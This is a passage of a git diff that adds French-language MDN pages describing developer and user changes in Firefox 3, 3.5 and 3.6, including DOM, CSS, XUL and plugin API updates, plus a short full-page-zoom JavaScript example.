  • Ajout de l'attribut level à l'élément panel ; celui-ci indique si le panel apparait par dessus les autres applications, ou uniquement au-dessus de la fenêtre contenant le panel.
    • +
  • Les éléments XUL gèrent à présent les propriétés clientHeight, clientWidth, scrollHeight et scrollWidth.
    • +
  • Les éléments keyset disposent à présent d'un attribut disabled.
    • +
  • De plus, les keysets peuvent être supprimés à l'aide de la méthode removeChild() du nœud.
    • +
  • mozIStorageStatement a vu sa méthode initialize() supprimée ; ses utilisateurs doivent utiliser la méthode createStatement() à la place pour obtenir un nouvel objet statement.
    • +
  • L'API Storage permet à présent d'effectuer des requêtes asynchrones.
    • +
  • L'interface nsICookie2 expose à présent l'heure à laquelle les cookies ont été créés dans son nouvel attribut creationTime.
    • +
  • Un flag a été ajouté à nsIProtocolHandler (URI_IS_LOCAL_RESOURCE) qui est vérifié au cours d'un enregistrement chrome pour s'assurer qu'un protocole a le droit d'être enregistré.
    • +
  • Firefox recherche à présent des plugins dans /usr/lib/mozilla/plugins sous Linux, outre les emplacements précédemment consultés.
    • +
  • L'API des plugins a été mise à jour pour gérer le mode de navigation privée ; vous pouvez à présent utiliser NPN_GetValue() pour connaître l'état du mode de navigation privée à l'aide de la variable NPNVprivateModeBool.
    • +
+ +

Nouvelles fonctionnalités pour les utilisateurs

+ +

Interface

+ +
+
Navigation en fonction de sa localisation
+
Si vous le désirez, vous pouvez permettre à Firefox 3.5 de partager des informations concernant votre localisation géographique avec des sites web. Firefox 3.5 peut utiliser des informations sur le réseau auquel votre machine est connectée pour partager votre localisation. Bien évidemment, votre permission sera demandée au préalable afin de préserver votre vie privée.
+
Gestion de la vidéo et de l'audio ouverts
+
Firefox 3.5 gère l'intégration de vidéos et d'extraits audio à l'aide du format ouvert Ogg, ainsi qu'au format WAV pour l'audio. Aucun plugin nécessaire, pas de messages d'erreurs incompréhensibles vous demandant d'installer quelque chose qui n'est en fait pas disponible sur votre plateforme.
+
Stockage local de données
+
Les applications web peuvent à présent utiliser les possibilités de stockage local pour conserver des données sur votre ordinateur. Cela peut servir pour conserver des préférences ou d'autres données plus complexes.
+
+ +

Sécurité et vie privée

+ +
+
Navigation privée
+
Besoin d'utiliser l'ordinateur de quelqu'un d'autre ? Activez la navigation privée et rien ne sera enregistré concernant votre session, ni cookies, ni historique, ni aucune autre information privée.
+
Meilleurs contrôles sur la vie privée
+
Le panneau de préférences Vie privée a été complètement revu pour disposer d'un meilleur contrôle sur vos informations privées. Les utilisateurs peuvent choisir de conserver ou d'effacer tout ce qui concerne l'historique, les cookies, les téléchargements et les informations de formulaire enregistrées. De plus, il est possible d'indiquer si l'historique et/ou les marque-pages doivent faire partie des suggestions automatiques de la Barre d'adresse, afin d'empêcher des adresses privées d'apparaître par inadvertance en saisissant des informations dans la Barre d'adresse.
+
+ +

Performances

+ +
+
Du JavaScript plus rapide
+
Le code JavaScript est exécuté nettement plus rapidement dans Firefox 3.5 grâce à son nouveau moteur TraceMonkey. Les applications web sont ainsi beaucoup plus rapides que dans Firefox 3.
+
Rendu plus rapide des pages
+
Le contenu web est affiché plus rapidement dans Firefox 3.5, grâce à des technologies telles que l'« analyse spéculative ». Vos utilisateurs n'ont pas besoin de savoir de quoi il s'agit, simplement que ça rend les choses plus rapides.
+
+ +

Voir également

+ +

{{Firefox_for_developers('3')}}

diff --git a/files/fr/mozilla/firefox/releases/3.6/index.html b/files/fr/mozilla/firefox/releases/3.6/index.html new file mode 100644 index 0000000000..6e27affe9d --- /dev/null +++ b/files/fr/mozilla/firefox/releases/3.6/index.html @@ -0,0 +1,297 @@ +--- +title: Firefox 3.6 pour les développeurs +slug: Mozilla/Firefox/Versions/3.6 +tags: + - Firefox + - Firefox 3.6 +translation_of: Mozilla/Firefox/Releases/3.6 +--- +

Firefox 3.6 (nom de code Namoroka) est sorti le 21 janvier 2010 et est basé sur Gecko 1.9.2. Cette page fournit des liens vers des articles qui décrivent les nouvelles fonctionnalités de Firefox 3.6.

+ +

Pour les développeurs de sites et d'applications Web

+ +

CSS

+ +
+
Utilisation de dégradés
+
Firefox 3.6 ajoute le support de -moz-linear-gradient et -moz-radial-gradient pour la propriété background.
+
Fonds multiples
+
La propriété background (ainsi que background-attachmentbackground-color, background-image, background-position et background-repeat) peuvent gérer des fonds multiples. Ceux-ci seront affichés par couches, les uns au dessus des autres.
+
Fonctionnalités de médias spécifiques à Mozilla
+
Des fonctionnalités de médias ont été ajoutées pour des mesures spécifiques à Mozilla, afin de pouvoir utiliser des media queries pour vérifier plus aisément la disponibilité de fonctionnalités comme un écran tactile.
+
Redimensionnement d'images de fond
+
La propriété background-size du brouillon CSS 3 Backgrounds and Borders est gérée sous le nom de -moz-background-size.
+
Support des polices WOFF
+
@font-face supporte désormais le format de polices Web téléchargeables WOFF
+
Evènements pointeurs
+
La propriété pointer-events si le contenu d'un élément peut être ou non la cible d'évènements pointeur avec la souris.
+
+ +

Autres changements CSS

+ +
    +
  • L'unité de longueur rem de CSS3 Values and Units est maintenant supportée. Voir bug 472195.
    • +
  • image-rendering est gérée pour les images, images de fond, vidéos et canvas. Voir bug 423756.
    • +
  • text-align:end est maintenant supportée. Voir bug 299837.
    • +
  • Les changements DOM sur des éléments utilisant les types de display table fonctionnent beaucoup mieux.
    • +
  • Ajout de :-moz-locale-dir(ltr) et :-moz-locale-dir(rtl) pour faciliter la personnalisation de mise en page selon l'orientation de l'interface dépendant de la locale (gauche à droite ou droite à gauche). Voir bug 478416.
    • +
  • Ajout de la pseudo-classe :indeterminate correspondant aux éléments <input> checkbox dont l'attribut indeterminate est true.
    • +
  • Les plugins fenêtrés ne sont plus affichés par la propriété CSS tranforms, car ils ne peuvent pas être correctement tranformés par le compositeur.
    • +
+ +

HTML

+ +
+
Utilisation de fichiers à partir d'applications Web
+
Le support de la nouvelle API de fichier HTML5 a été ajouté à Gecko, ce qui permet à des applications Web d'accéder à des fichiers locaux sélectionnés par l'utilisateur.
+
Support des affiches pour les vidéos HTML5
+
L'attribut poster est pris en charge pour l'élément <video>, ce qui permet au contenu de choisir une image à afficher tant que la vidéo n'a pas commencée.
+
Support de la propriété indeterminate pour les cases à cocher et boutons radio
+
Les éléments HTML <input> des types checkbox et radio supportent désormais la propriété indeterminate qui permet d'avoir un troisième état « indéterminé ».
+
Contrôle du lissage d'images dans canvas
+
La nouvelle propriété mozImageSmoothingEnabled peut être utilisée pour activer et désactiver le lissage lors d'un redimensionnement dans les éléments <canvas>.
+
Exécution d'un script asynchrone
+
En définissant l'attribut async sur un élément <script>, le script ne bloquera pas le chargement ou l'affichage du reste de la page. En revanche, le script s'exécutera dès qu'il sera téléchargé.
+
+ +

JavaScript

+ +

Gecko 1.9.2 introduit JavaScript 1.8.2, qui ajoute un certain nombre de fonctionnalités de langage de la norme ECMAScript 5 :

+ +
    +
  • Date.parse() peut analyser des dates ISO 8601 au format YYYY-MM-DD (année-mois-jour).
    • +
  • La propriété prototype d'instances de fonctions n'est plus énumérable.
    • +
+ +

DOM

+ +
+
Terminaison des web workers par eux-mêmes
+
Les web workers prennent désormais en charge la méthode nsIWorkerScope.close(), qui leur permet de se terminer d'eux-mêmes.
+
Glisser-déposer de fichiers
+
L'objet DataTransfer fournit à présent aux observateurs de glisser-déposer une liste des fichiers glissés.
+
Vérification pour voir si un élément correspond à un sélecteur CSS
+
La nouvelle méthode element.mozMatchesSelector permet de déterminer si un élément correspond bien à un sélecteur CSS. Voir bug 518003.
+
Dispositf de détection de l'orientation
+
Le contenu peut à présent détecter l'orientation de l'appareil s'il dispose d'un accéléromètre, à l'aide de l'évènement MozOrientation. Firefox 3.6 gère notamment l'accéléromètre des ordinateurs portables Mac.
+
Détection des changements de largeur et hauteur d'un document
+
Le nouvel évènement MozScrollAreaChanged est déclenché lorsqu'une des propriétés scrollWidth ou scrollHeight d'un document change.
+
+ +
    +
  • La méthode getBoxObjectFor() a été supprimée, car elle n'était pas standard et exposait d'autres fonctionnalités non standard. Voir bug 340571. La bibliothèque MooTools qui utilisait cet appel pour la détection de Gecko est affectée ; cela a été corrigé dans la dernière version de MooTools, assurez-vous donc d'être à jour.
    • +
  • Les nouvelles propriétés mozInnerScreenX et mozInnerScreenY sur les objets DOM window on été ajoutés ; ils renvoient les coordonnées à l'écran du coin supérieur gauche de la zone de visualisation de la fenêtre.
    • +
  • La nouvelle propriété mozScreenPixelsPerCSSPixel de nsIDOMWindowUtils uniquement accessible depuis le chrome, fournit un facteur de conversion entre les pixels CSS et les pixels à l'écran ; cette valeur peut varier selon le niveau de zoom du contenu.
    • +
  • Lorsque l'identifiant de fragment de document de l'URL de la page change (la partie après le caractère « # » (dièse)), un nouvel évènement hashchange est envoyé à la page. Consultez window.onhashchange pour plus d'informations. bug 385434
    • +
  • L'attribut document.readyState est désormais supporté. bug 347174
    • +
  • Gestion de l'attribut HTML5 element.classList pour permettre une gestion plus aisée de l'attribut class. bug 501257
    • +
  • localName et namespaceURI dans les documents HTML se comportent à présent comme dans les documents XHTML : localName est renvoyé en minuscules et la propriété namespaceURI pour les éléments HTML est "http://www.w3.org/1999/xhtml".
    • +
  • element.getElementsByTagNameNS son argument n'est plus en minuscules, alors en lettres majuscules ASCII dans l'argument établit des chaînes contre des éléments HTML échouent. Cela est vrai aussi pour document.getElementsByTagNameNS.
    • +
  • Ajout de la gestion des adresses dans la géolocalisation via l'interface nsIDOMGeoPositionAddress et d'un nouveau champ dans nsIDOMGeoPosition.
    • +
  • La fonction window.getComputedStyle renvoie à présent les guillemets autour des valeurs url().
    • +
+ +

XPath

+ +
+
Gestion de la méthode XPath choose()
+
La méthode choose() est à présent gérée par notre implémentation de XPath.
+
+ +

Pour les développeurs XUL et les développeurs d'extensions

+ +

Si vous êtes un développeur d'extensions, vous devriez commencer par lire Updating extensions for Firefox 3.6, qui offre une vue d'ensemble sur les changements qui pourraient affecter vos extensions. Les développeurs de Plug-in devraient lire Updating plug-ins for Firefox 3.6.

+ +

Nouvelles fonctionnalités

+ +
+
Détection de l'orientation de l'appareil
+
Le contenu peut maintenant détecter l'orientation de l'appareil si il possède un accéléromètre, en utilisant l'évènement MozOrientation. Firefox 3.6 supporte l'accéléromètre des ordinateurs portables Mac.
+
Surveillance de l'activité HTTP
+
Vous pouvez maintenant surveiller en temps réel les données HTTP demandées et reçues.
+
Intégration à la Barre des tâches de Windows
+
Il est maintenant possible de personnaliser l'apparence des fenêtres dans la barre des tâches sous Windows 7 ou plus récent. C'est désactivé par défaut dans Firefox 3.6.
+
+ +

Places

+ + + +

Storage

+ +
+
Tri des données locales avec l'API Storage
+
Gecko 1.9.2 ajoute plusieurs nouvelles méthodes pour offrir une collecte (tri) optimisée des résulats en utilisant les techniques de localisation.
+
Énumération des propriétés d'une requête
+
Vous pouvez maintenant utiliser for...in pour énumérer toutes les propriétés d'une déclaration.
+
mozIStorageStatement's getParameterIndex a changé de comportement entre Firefox 3.5 et 3.6.
+
Voir bug 528166 pour plus de détails.
+
Liaison asynchrone de plusieurs ensembles de paramètres pour exécution d'une requête.
+
Voir bug 490085 pour plus de détails.
+
+ +

Préférences

+ + + +

Thèmes

+ +

Voir Updating themes for Firefox 3.6 pour la liste des changements liés aux thèmes.

+ +
+
Thèmes légers
+
Firefox 3.6 supporte les thèmes légers ; ce sont des thèmes faciles à créer et qui sont simplement appliqué sur le fond de la fenêtre du navigateur, en haut (barre d'adresses et boutons) et en bas (barre d'état). Il s'agit d'une intégration de l'architecture de thèmes Personas dans Firefox.
+
+ +

Divers

+ +
    +
  • Firefox n'a plus la charge des modules tiers installé dans son répertoire des modules internes. Cela contribue à assurer la stabilité en empêchant des composants tiers buggés d'être exécuté. Les développeurs qui installent des composants de cette façon doivent refaire leurs modules sous forme de paquets XPI afin qu'ils puissent être installés normalement.
    • +
  • contents.rdf n'est plus pris en charge pour l'enregistrement chrome dans les extensions. Vous devez maintenant utiliser le fichier chrome.manifest. Voir bug 492008.
    • +
  • La barre de menu peut être cachée automatiquement. Voir bug 477256.
    • +
  • Ajout du support de l'attribut container-live-role aux objets. Voir bug 391829.
    • +
  • Suppression de la liaison tabs-closebutton. Voir bug 500971.
    • +
  • Ajout du support de nsISound pour jouer des sons en fonction des évènements qui ont eu lieu. Voir bug 502799.
    • +
  • La syntaxe pour les méthodes de nsITreeView : nsITreeView.canDrop() et nsITreeView.drop(), a changé pour supporter la nouvelle API glisser & déposer introduite dans Gecko 1.9. Voir bug 455590.
    • +
  • Ajout du support pour aligner le curseur de la souris sur le bouton par défaut de la boîte de dialogue ou l'assistant de Windows, voir bug 76053. Cela est traitée automatiquement par la boîte de dialogue et l'assistant. Mais si une application XUL crée une fenêtre en utilisant l'élément window et qu'il a un bouton par défaut, il doit appeler nsIDOMChromeWindow.notifyDefaultButtonLoaded() dans le gestionnaire d'événements onload de la fenêtre.
    • +
  • Pour l'interface nsILocalFileMac, deux méthodes ont étés retirées : setFileTypeAndCreatorFromMIMEType() and setFileTypeAndCreatorFromExtension().
    • +
  • Le nouveau module de code NetUtils.jsm apporte une méthode facile à utiliser pour copier les données de manière asynchrone à partir d'un flux d'entrée vers un flux de sortie.
    • +
  • Le nouveau module de code openLocationLastURL.jsm, facilite la lecture et la modification de la valeur de l'URL gardée en mémoire de la boîte de dialogue "Ouvrir le fichier", tout en prenant bien en compte le mode de navigation privée.
    • +
  • Dans Windows, l'interface nsIScreen reporte maintenant 24 bits par pixel pour la profondeur des couleurs lorsque le pilote graphique demande 32 bits, plus précisement 24 représente le nombre réel de pixels de couleurs en utilisation.
    • +
  • Les barres de menu peuvent maintenant être cachées sous Windows, en utilisant le nouvel attribut autohide sur l'élément XUL toolbar.
    • +
  • Les méthodes loadOneTab et addTab acceptent maintenant le nouveau paramètre relatedToCurrent et, en outre, permet à des paramètres d'être définit par un nom, puisque presque tous les paramètres sont optionnels.
    • +
  • La propriété "hidden" n'est plus supportée dans les manisfestes d'installation ; il n'est plus possible d'empêcher l'utilisateur de voir des modules complémentaires dans la fenêtre du gestionnaire de module.
    • +
  • Le composant @mozilla.org/webshell;1 n'existe plus ; vous devez utilisez @mozilla.org/docshell;1 à la place.
    • +
  • Vous pouvez désormais enregistrer avec la catégorie update-timer pour programmer la synchronisation des événements sans avoir à instancier l'objet que le minuteur va éventuellement remettre, il sera plutôt instancié lorsque c'est nécessaire. Voir nsIUpdateTimerManager.registerTimer() pour plus de détails.
    • +
  • La fonction NPN_GetValue ne donne plus accès à travers XPCOM aux valeurs de variables NPNVserviceManager, NPNVDOMelement, et NPNVDOMWindow. Cela fait partie des travaux pour que les plugins s'exécutent dans des processus séparés dans une future version de Gecko.
    • +
  • Les plugins ne sont plus scriptables à travers l'interface XPCOM (IDL), NPRuntime est l'API à utiliser pour coder des plugins et NPP_GetValue() n'est plus appelé avec la valeur NPPVpluginScriptableInstance ou NPPVpluginScriptableIID. Cela fait partie des travaux pour que les plugins s'exécutent dans des processus séparés dans une future version de Gecko.
    • +
+ +

Pours les développeurs de Firefox/Gecko

+ +

Certains changements sont vraiment intéressant si vous travaillez sur le fonctionnement interne de Firefox.

+ +

Interfaces fusionnées

+ +

Les interfaces suivantes ont été fusionnées :

+ +
    +
  • nsIPluginTagInfo2 a été fusionnée avec nsIPluginTagInfo.
    • +
  • nsIPluginInstanceInternal, nsIPPluginInstancePeer, nsIPluginInstancePeer1, nsIPluginInstancePeer2 et nsIPluginInstancePeer3 ont toutes été fusionnées avec nsIPluginInstance.
    • +
  • nsIWindowlessPlugInstPeer a été fusionnée avec nsIPluginInstance.
    • +
  • nsIPluginManager et nsIPluginManager2 ont été fusionnées avec nsIPluginHost
    • +
+ +

Interfaces supprimées

+ +

Les interfaces suivantes ont été entièrement supprimées car elles étaient inutilisées, non implémentées ou obsolètes :

+ +
    +
  • nsIFullScreen
    • +
  • nsIDOMSVGListener
    • +
  • nsIDOMSVGZoomListener
    • +
  • nsIInternetConfigService
    • +
  • nsIDKey
    • +
  • nsIEventHandler
    • +
  • nsIJRILiveConnectPIPeer
    • +
  • nsIJRILiveConnectPlugin
    • +
  • nsIScriptablePlugin
    • +
  • nsIClassicPluginFactory
    • +
  • nsIFileUtilities
    • +
+ +

Interfaces déplacées

+ +

Les interfaces suivantes ont été déplacées de leurs précédents fichiers IDL vers leurs nouveaux :

+ +
    +
  • nsIDOMNSCSS2Properties est maintenant située dans son propre fichier IDL (dom/interfaces/css/nsIDOMCSS2Properties.idl).
    • +
  • nsIUpdateTimerManager est maintenant située dans son propre fichier IDL.
    • +
+ +

Un grand nombre d'interfaces ont été déplacées. Voir Interfaces moved in Firefox 3.6 pour la liste complète.

+ +

Autres changements dans les interfaces

+ +

Les modifications suivantes ont été faites :

+ +
    +
  • L'interface nsIPlugin hérite maintenant de nsISupports à la place de nsIFactory.
    • +
  • L'interface nsIPluginHost hérite maintenant de nsISupports à la place de nsIFactory.
    • +
  • L'interface nsIFrame hérite maintenant de nsQueryFrame à la place de nsISupports.
    • +
  • La méthode getPaletteInfo() de nsIDeviceContext a été supprimée, car elle n'a jamais été appliquée.
    • +
  • La méthode reportPendingException() de nsIScriptContext a été supprimée, car elle n'été plus utilisée.
    • +
+ +

Changements dans l'accessibilitée du code

+ +
    +
  • L'évènement d'accessibilité EVENT_REORDER est maintenant envoyé quand les enfants de frames et d'iframes changent, ainsi que lors de la modification du document principal des enfants. Voir bug 420845.
    • +
  • Désormais toute sélection en cours est correctement supprimée avant de sélectionner une ligne spécifique.
    • +
+ +

Voir également

+ +
+ +
diff --git a/files/fr/mozilla/firefox/releases/3/dom_improvements/index.html b/files/fr/mozilla/firefox/releases/3/dom_improvements/index.html new file mode 100644 index 0000000000..38f958218c --- /dev/null +++ b/files/fr/mozilla/firefox/releases/3/dom_improvements/index.html @@ -0,0 +1,35 @@ +--- +title: Améliorations DOM dans Firefox 3 +slug: Améliorations_DOM_dans_Firefox_3 +tags: + - DOM + - Firefox 3 +translation_of: Mozilla/Firefox/Releases/3/DOM_improvements +--- +
{{FirefoxSidebar}}

{{ Fx_minversion_header(3) }}

+ +

Firefox 3 offre un certain nombre d'améliorations dans sa gestion du modèle objet de document (DOM), en particulier en ce qui concerne la gestion de ses extensions ajoutées par d'autres navigateurs. Cet article reprend une liste de ces améliorations ainsi que des liens vers une documentation plus détaillée.

+ +
    +
  • Les extensions DOM d'Internet Explorer clientTop et clientLeft sont à présent supportées.
    • +
  • La propriété window.fullScreen est à présent toujours correcte quel que soit l'endroit de sa lecture, même depuis le contenu. Auparavant, elle renvoyait false de manière incorrecte ({{ Bug(127013) }}).
    • +
  • Les extensions DOM getClientRects et getBoundingClientRect sont à présent supportées (voir le {{ Bug(174397) }}).
    • +
  • L'extension DOM d'Internet Explorer elementFromPoint est à présent supportée ({{ Bug(199692) }}).
    • +
  • Les extensions DOM d'Internet Explorer oncut, oncopy et onpaste sont à présent supportées ({{ Bug(280959) }}).
    • +
  • Des accesseurs réservés au code privilégié ont été ajoutés pour Node.nodePrincipal, Node.baseURIObject et document.documentURIObject. Le code chrome ne doit accéder à ces propriétés (ou les modifier) que sur des objets de contenu enveloppés (par exemple avec le wrappedJSObject d'un XPCNativeWrapper), consultez le {{ Bug(324464) }} pour plus de détails.
    • +
  • La méthode DOM getElementsByClassName() de Web Applications 1.0 (HTML5) est à présent gérée.
    • +
  • La méthode DOM window.postMessage de Web Applications 1.0 (HTML5) est également gérée. Celle-ci autorise une certaine forme limitée et volontaire de communication côté client entre des fenêtres qui ne sont pas forcément dans le même domaine.
    • +
  • La valeur charCode de l'évènement keypress est transformée en un caractère ASCII si la touche Accélérateur est pressée. Autrement, charCode est le caractère non modifié (à part son état Shift — mise en majuscules). Consultez L'évènement Keypress dans Gecko.
    • +
+ +

Voir également

+ + + +
 
+ +

{{ languages( { "en": "en/DOM_improvements_in_Firefox_3", "es": "es/Mejoras_DOM_en_Firefox_3", "ja": "ja/DOM_improvements_in_Firefox_3", "pl": "pl/Poprawki_DOM_w_Firefoksie_3" } ) }}

diff --git a/files/fr/mozilla/firefox/releases/3/full_page_zoom/index.html b/files/fr/mozilla/firefox/releases/3/full_page_zoom/index.html new file mode 100644 index 0000000000..88e46ac3f4 --- /dev/null +++ b/files/fr/mozilla/firefox/releases/3/full_page_zoom/index.html @@ -0,0 +1,42 @@ +--- +title: Zoom pleine page +slug: Zoom_pleine_page +translation_of: Mozilla/Firefox/Releases/3/Full_page_zoom +--- +
{{FirefoxSidebar}}

{{ Fx_minversion_header(3) }} {{ Gecko_minversion_header(1.9) }}

+ +

Le zoom pleine page (ou fullZoom) est une nouvelle fonctionnalité qui sera probablement disponible dans Firefox 3. Elle peut être utilisée dans les compilations courantes du tronc depuis la version 1.9a7. Bien qu'il n'y ait actuellement aucune interface utilisateur visible, il est possible d'utiliser JavaScript et l'interface XPCOM nsIMarkupDocumentViewer.

+ +

Exemple (xul:browser)

+ +

L'exemple qui suit montre l'utilisation du zoom pour la fenêtre de navigation ayant actuellement le focus. C'est l'utilisation typique pour une extension Firefox.

+ +
var zoom = 1.5;
+var docViewer = getBrowser().mCurrentBrowser.markupDocumentViewer;
+docViewer.fullZoom = zoom;
+
+ +

Exemple (xul:iframe)

+ +

Il est également possible d'utiliser la fonction fullZoom pour un xul:iframe. Cependant, comme un iframe n'a pas de propriété markupDocumentViewer, il faut d'abord obtenir cette valeur :

+ +
var zoom = 1.5;
+var iframe = document.getElementById("authorFrame");
+var contViewer = iframe.docShell.contentViewer;
+var docViewer = contViewer.QueryInterface(Components.interfaces.nsIMarkupDocumentViewer);
+docViewer.fullZoom = zoom;
+
+ +

Références

+ +
    +
  • Extension Page zoom par Ted Mielczarek fullpagezoom.xpi pour les dernières nightlies de Firefox 3.
    • +
  • Le bug concernant fullZoom sur bugzilla.
    • +
  • Documentation de l'interface nsIMarkupDocumentViewer (ne mentionne pas fullZoom pour l'instant).
    • +
+ +

 

+ +
 
+ +

{{ languages( { "en": "en/Full_page_zoom", "es": "es/Zoom_a_p\u00e1gina_completa", "ja": "ja/Full_page_zoom" } ) }}

diff --git a/files/fr/mozilla/firefox/releases/3/index.html b/files/fr/mozilla/firefox/releases/3/index.html new file mode 100644 index 0000000000..79519fa181 --- /dev/null +++ b/files/fr/mozilla/firefox/releases/3/index.html @@ -0,0 +1,272 @@ +--- +title: Firefox 3 pour les développeurs +slug: Mozilla/Firefox/Versions/3 +tags: + - Firefox + - Firefox 3 +translation_of: Mozilla/Firefox/Releases/3 +--- +
{{FirefoxSidebar}}

Pour les développeurs qui désirent prendre connaissance de toutes les nouvelles fonctionnalités de Firefox 3, c'est ici qu'il convient de commencer. Cet article fournit la liste des nouveaux articles couvrant les fonctionnalités qui ont été ajoutées à Firefox 3. Même s'il ne couvre pas nécessairement chaque petite modification, il vous aidera à découvrir les améliorations majeures.

+ +

Nouvelles fonctionnalités pour les développeurs dans Firefox 3

+ +

Pour les développeurs de sites et d'applications Web

+ +
+
Mise à jour des applications Web pour Firefox 3
+
Fournit des informations concernant les changements que vous devrez éventuellement prendre en compte pour permettre à votre site ou application Web de profiter des nouvelles fonctionnalités de Firefox 3.
+
+ +
+
Évènements online et offline
+
Firefox 3 gère les évènements online et offline définis par le WHATWG, qui permettent aux applications et extensions de détecter si une connexion Internet active est disponible, ainsi que de détecter l'activation et la désactivation de la connexion.
+
+ +
+
Gestionnaires de protocoles web
+
Il est à présent possible d'enregistrer des applications Web en tant que gestionnaires de protocoles à l'aide de la méthode navigator.registerProtocolHandler().
+
+ +
+
Dessin de texte avec canvas
+
Il est possible de dessiner du texte dans un élément canvas dans Firefox 3 avec une API non normalisée.
+
+ +
+
Support des transformations pour canvas
+
Firefox gère à présent les méthodes transform() et setTransform() sur les éléments canvas.
+
+ +
+
Utilisation de microformats
+
Firefox dispose à présent d'API permettant de travailler avec des microformats.
+
+ +
+
Évènements de glisser-déposer
+
Firefox 3 gère de nouveaux évènements envoyés au nœud source d'une opération de glisser-déposer lorsque le glisser débute et se termine.
+
+ +
+
Gestion du focus en HTML
+
Les nouveaux attributs activeElement et hasFocus de HTML 5 sont gérés.
+
+ +
+
Ressources hors ligne dans Firefox
+
Firefox permet applications Web de demander que des ressources soient mises en cache pour permettre leur utilisation en mode hors ligne.
+
+ +
+
Améliorations CSS dans Firefox 3
+
Firefox 3 propose un certain nombre d'améliorations dans son support CSS.
+
+ +
+
Améliorations DOM dans Firefox 3
+
Firefox 3 propose un certain nombre de nouvelles fonctionnalités dans son implémentation DOM, comme la gestion de plusieurs extensions d'Internet Explorer au DOM.
+
+ +
+
Support de JavaScript 1.8
+
JavaScript 1.8 est fourni avec Firefox 3.
+
+ +
+
Support d'EXSLT
+
Firefox 3 permet d'utiliser une partie importante des extensions EXSLT à XSLT.
+
+ +
+
Améliorations SVG dans Firefox 3
+
La gestion du SVG dans Firefox 3 a été mise à jour de manière substantielle, avec plus d'une vingtaine de nouveaux filtres, plusieurs nouveaux éléments et attributs, et quelques autres améliorations.
+
+ +
+
Images PNG animées
+
Firefox 3 gère le format d'images PNG animées (APNG).
+
+ +

Pour les développeurs XUL et d'extensions

+ +

Améliorations et modifications notables

+ +
+
Mise à jour des extensions pour Firefox 3
+
Un guide fournissant tout ce qu'il faut savoir pour mettre à jour une extension afin de la faire fonctionner avec Firefox 3.
+
+ +
+
Améliorations XUL dans Firefox 3
+
Firefox 3 offre un certain nombre de nouveaux éléments XUL, dont de nouvelles échelles coulissantes, des sélecteurs de date et d'heure, et des boîtes d'incrément (spin buttons).
+
+ +
+
Templates dans Firefox 3
+
Les templates ont été notablement améliorés dans Firefox 3. Le plus remarquable est la possibilité d'utiliser des processeur de requêtes personnalisés permettant d'utiliser d'autres sources de données que RDF.
+
+ +
+
Mises à jour sécurisées
+
Afin que le processus de mise à jour soit plus sûr pour les utilisateurs, les modules complémentaires doivent à présent fournir une méthode sécurisée de distribution des mises à jour avant de pouvoir être installés. Les modules hébergés sur AMO fournissent ceci automatiquement. Tout module installé ne fournissant pas une méthode de mise à jour sécurisée lorsque l'utilisateur migrera vers Firefox 3 sera désactivé automatiquement. Firefox continuera cependant à vérifier si des mises à jour sont disponibles au travers du chemin non sécurisé et essayera d'installer toute mise à jour proposée (l'installation échouera si la mise à jour ne propose pas non plus de méthode de mise à jour sécurisée).
+
+ +
+
Guide de migration vers Places
+
Un article concernant la migration d'une application existante pour utiliser l'API Places.
+
+ +
+
Améliorations du gestionnaire de téléchargement dans Firefox 3
+
Le gestionnaire de téléchargement de Firefox 3 comprend de nouvelles API et d'autres améliorations, comme la gestion de plusieurs écouteurs de progression.
+
+ +
+
Utilisation de nsILoginManager
+
Le gestionnaire de mots de passe a été remplacé par le nouveau gestionnaire d'identification.
+
+ +
+
Intégration de liaisons XBL
+
Il est à présent possible d'utiliser le schéma d'URL data: depuis du code chrome pour intégrer des liaisons XBL directement au lieu de devoir les placer dans des fichiers XML séparés.
+
+ +
+
Localisation des descriptions d'extensions
+
Firefox 3 propose une nouvelle méthode de localisation des métadonnées des modules complémentaires. Ceci permet de disposer des détails localisés dès le téléchargement du module, et même s'il est désactivé.
+
+ +
+
Localisation et pluriels
+
Firefox 3 ajout un nouveau module PluralForm fournissant des outils pour aider à mettre des mots correctement au pluriel dans diverses localisations.
+
+ +
+
Changements dans les thèmes pour Firefox 3
+
Notes et informations pour ceux qui voudraient créer des thèmes pour Firefox 3.
+
+ +

Nouveaux composants et fonctionnalités

+ +
+
Bibliothèque FUEL
+
FUEL sert à améliorer la productivité des développeurs d'extensions en minimisant certaines des formalités XPCOM et en ajoutant certaines idées « modernes » de JavaScript.
+
+ +
+
Places
+
Les API d'historique et de marque-pages ont été entièrement remplacés par la nouvelle API Places.
+
+ +
+
Service Idle
+
Firefox 3 propose une nouvelle interface {{ Interface("nsIIdleService") }} qui permet aux extensions de savoir depuis quand l'utilisateur n'a plus appuyé sur une touche ou déplacé la souris.
+
+ +
+
ZIP writer
+
La nouvelle interface {{ Interface("nsIZipWriter") }} permet aux extensions de pouvoir créer des archives ZIP.
+
+ +
+
Zoom pleine page
+
Firefox 3 améliore l'expérience utilisateur en offrant un zoom complet des pages en plus du simple zoom de texte.
+
+ +
+
Interfaçage avec le collecteur de cycles XPCOM
+
XPCOM peut à présent bénéficier du collecteur de cycles, qui permet de s'assurer que la mémoire inutilisée est libérée et d'éviter les fuites mémoire.
+
+ +
+
Le gestionnaire de threads
+
Firefox 3 propose une nouvelle interface {{ Interface("nsIThreadManager") }}, accompagnée de nouvelles interfaces pour les threads et les évènements liés, qui offre une manière pratique de créer et gérer des threads dans votre code.
+
+ +
+
Modules JavaScript
+
Firefox 3 offre un mécanisme de modules de code partagés permettant de créer facilement des modules en JavaScript qui pourront être chargés par des extensions et applications, de manière similaire à des bibliothèques partagées.
+
+ +
+
L'interface nsIJSON
+
Firefox 3 propose la nouvelle interface {{ Interface("nsIJSON") }}, qui offre des chaînes de caractères JSON de codage et décodage en haute performance.
+
+ +
+
L'interface nsIParentalControlsService
+
Firefox 3 gère à présent la fonctionnalité de contrôle parental de Microsoft Windows Vista, et permet au code d'interagir directement avec elle.
+
+ +
+
Utilisation des préférences de contenu
+
Firefox 3 fournit un nouveau service permettant de définir et de lire des préférences particulières à un site, que des extensions ou le programme peuvent utiliser pour conserver des informations sur les préférences de l'utilisateur concernant certains sites.
+
+ +
+
Surveillance des plugins
+
Un nouveau composant du système de plugins est à présent disponible pour mesurer le temps mis par les plugins (par exemple Macromedia Flash) pour exécuter leurs appels.
+
+ +

Bugs corrigés

+ +
+
Bugs importants corrigés dans Firefox 3
+
Cet article fournit des informations concernant les bugs corrigés dans Firefox 3.
+
+ +

Nouvelles fonctionnalités pour les utilisateurs

+ +

Expérience utilisateur

+ +
    +
